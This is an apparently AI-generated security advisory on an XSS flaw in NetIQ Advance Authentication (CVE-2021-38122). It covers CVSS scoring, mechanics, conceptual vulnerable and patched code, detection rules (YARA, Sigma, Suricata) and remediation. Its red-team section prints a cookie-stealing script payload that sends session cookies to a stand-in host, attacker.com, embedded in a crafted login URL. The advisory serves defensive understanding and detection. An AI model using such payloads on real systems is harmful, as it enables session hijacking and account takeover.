CVE-2021-38122

Executive Summary

CVE-2021-38122 is a Cross-Site Scripting (XSS) vulnerability in NetIQ Advance Authentication, a component of the NetIQ identity and access management suite. This flaw allows an authenticated or unauthenticated attacker to inject malicious scripts into the server’s web interface, potentially leading to session hijacking, data exfiltration, or unauthorized actions on behalf of a legitimate user. The vulnerability affects versions prior to 6.3.5.1 and has a CVSS score of 6.2 (Medium). Despite a low EPSS score (0.0%), the risk is elevated in environments where the authentication server is exposed to untrusted networks or where users with administrative privileges interact with the interface.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software component (NetIQ Advance Authentication). No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• CVSS Score: 6.2 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The requirement for user interaction reduces the likelihood of automated exploitation, but the potential for credential theft or session hijacking in an identity management context is significant.

Deep Dive & Mechanics

The vulnerability resides in the NetIQ Advance Authentication server’s web interface. It is a stored or reflected XSS flaw where user-supplied input is not properly sanitized before being rendered in the server’s response. An attacker can craft a malicious URL or inject script code into a field (e.g., a username, description, or configuration parameter) that is later displayed to an administrator or user.

Attack Flow:

1. The attacker identifies an input field (e.g., a user profile attribute or a search parameter) that is reflected without encoding.
2. The attacker crafts a payload such as <script>alert('XSS')</script> or a more sophisticated payload to steal session cookies.
3. The victim (e.g., an admin) clicks a link or views a page containing the injected script.
4. The script executes in the victim’s browser, potentially exfiltrating session tokens, performing actions on behalf of the victim, or redirecting to a phishing page.

Root Cause: Lack of output encoding or input validation in the server-side code. The application fails to escape HTML entities before rendering user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Example):

// Vulnerable: Directly outputs user input without encoding
String username = request.getParameter("username");
response.getWriter().println("<div>Welcome, " + username + "</div>");

Patched Code (Conceptual Example):

// Patched: Uses output encoding to neutralize XSS
String username = request.getParameter("username");
String safeUsername = Encode.forHtml(username);
response.getWriter().println("<div>Welcome, " + safeUsername + "</div>");

In the patched version (6.3.5.1), NetIQ implemented proper output encoding across all user-facing fields. The exact fix is proprietary, but the principle is standard XSS prevention.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A vulnerable NetIQ Advance Authentication server (version < 6.3.5.1).
• A victim user with access to the web interface (e.g., an administrator).

Steps:

1. Identify a reflected XSS point. For example, the login page might reflect an error message containing the username parameter.
2. Craft a payload to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. URL-encode the payload and send it to the victim via email or a crafted link:

   https://vulnerable-server.com/login?error=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. Set up a listener on attacker.com to capture the cookie.
5. Use the stolen cookie to impersonate the victim.

Note: No public exploit code is available for this CVE. The above is a generic XSS exploitation scenario.

Blue Team (Defender)

Detection:

• Monitor web server logs for unusual parameters containing <script>, onerror, onload, or other XSS patterns.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Deploy Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for requests with error or username parameters containing HTML tags.
• Correlate with alerts from endpoint detection systems for suspicious outbound connections.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing <script> tags in parameters (e.g., ?username=<script>alert(1)</script>).
  • Outbound connections to unknown domains from the NetIQ server (potential data exfiltration).
• Host:
  • Unusual entries in web server logs (e.g., GET /login?error=<script>...).
  • Modified configuration files or unexpected user accounts created via the web interface.
• File:
  • No specific file-based IOCs are known.

Detection Engineering

YARA Rule

rule CVE_2021_38122_XSS_NetIQ {
    meta:
        description = "Detects XSS attempts targeting NetIQ Advance Authentication"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2021-38122"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2021-38122 XSS Attempt on NetIQ Advance Authentication
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS patterns targeting NetIQ Advance Authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in query parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-38122 XSS Attempt on NetIQ Advance Authentication"; flow:to_server,established; content:"GET"; http_method; content:"/login"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to NetIQ Advance Authentication version 6.3.5.1 or later.
2. If upgrade is not possible, apply a virtual patch via WAF to block XSS payloads.
3. Restrict access to the NetIQ web interface to trusted IP addresses only.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits and penetration testing.
• Enforce input validation and output encoding in all custom integrations.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.